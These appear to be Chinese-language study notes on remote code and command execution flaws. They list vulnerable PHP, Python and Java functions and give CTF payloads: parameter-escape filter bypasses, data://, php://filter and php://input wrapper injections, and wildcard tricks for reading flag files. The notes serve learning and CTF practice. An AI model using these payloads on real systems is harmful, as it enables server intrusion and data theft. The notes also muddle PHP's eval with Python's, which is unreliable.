RCE漏洞

RCE代码执行 //eval(‘phpinfo()’) 解析代码

命令执行 // system(‘ver’) 调用系统命令

eval是Python的一个内置函数,功能十分强大,这个函数的作用是,返回传入字符串的表达式的结果。就是说:将字符串当成有效的表达式 来求值 并 返回计算结果。

eval(expression[, globals[, locals]])
expression : 表达式。
globals : (可选参数)变量作用域,全局命名空间,如果被提供,则必须是一个字典对象。
locals : (可选参数)变量作用域,局部命名空间,如果被提供,可以是任何映射对象。

存在场景

存在一些功能,在应用功能中
需要调用脚本代码或者系统命令执行

web,中间件,操作系统,框架都存在

危害,直接执行命令或代码

可以写入后门…

黑盒漏洞难以发现

漏洞函数

1.PHP:

eval()、assert()、preg_replace()、call_user_func()、
call_user_func_array()以及 array_map()等

system、shell_exec、popen、passthru、proc_open 等

?a =echo shell_exec('ls')
?a=echo shell_exec('tac fla*')

2.Python:

eval exec subprocess os.system commands

3.Java:

Java 中没有类似 php 中 eval 函数这种直接可以将字符串转化为代码执行的函数,
但是有反射机制,并且有各种基于反射机制的表达式引擎,如: OGNL、SpEL、MVEL
等.

CTF

源码中存在eval($a)

system(‘ls’)
命令执行:

? a = system(‘tac fla*.php’)

代码执行

? a = phpinfo()

有过滤:

参数逃逸: 绕过过滤参数
eval($_GET[1]);&1=system('tac flag.php');

32~36-配合包含&伪协议

include$_GET[a]?>&a=data://text/plain,<?=system('tac flag.php');?>

include$_GET[a]?>&a=php://filter/read=convert.base64- encode/resource=flag.php

37~39-包含&伪协议&通配符

data://text/plain,<?=system('tac fla*');?>

php://input post:<?php system('tac flag.php');?>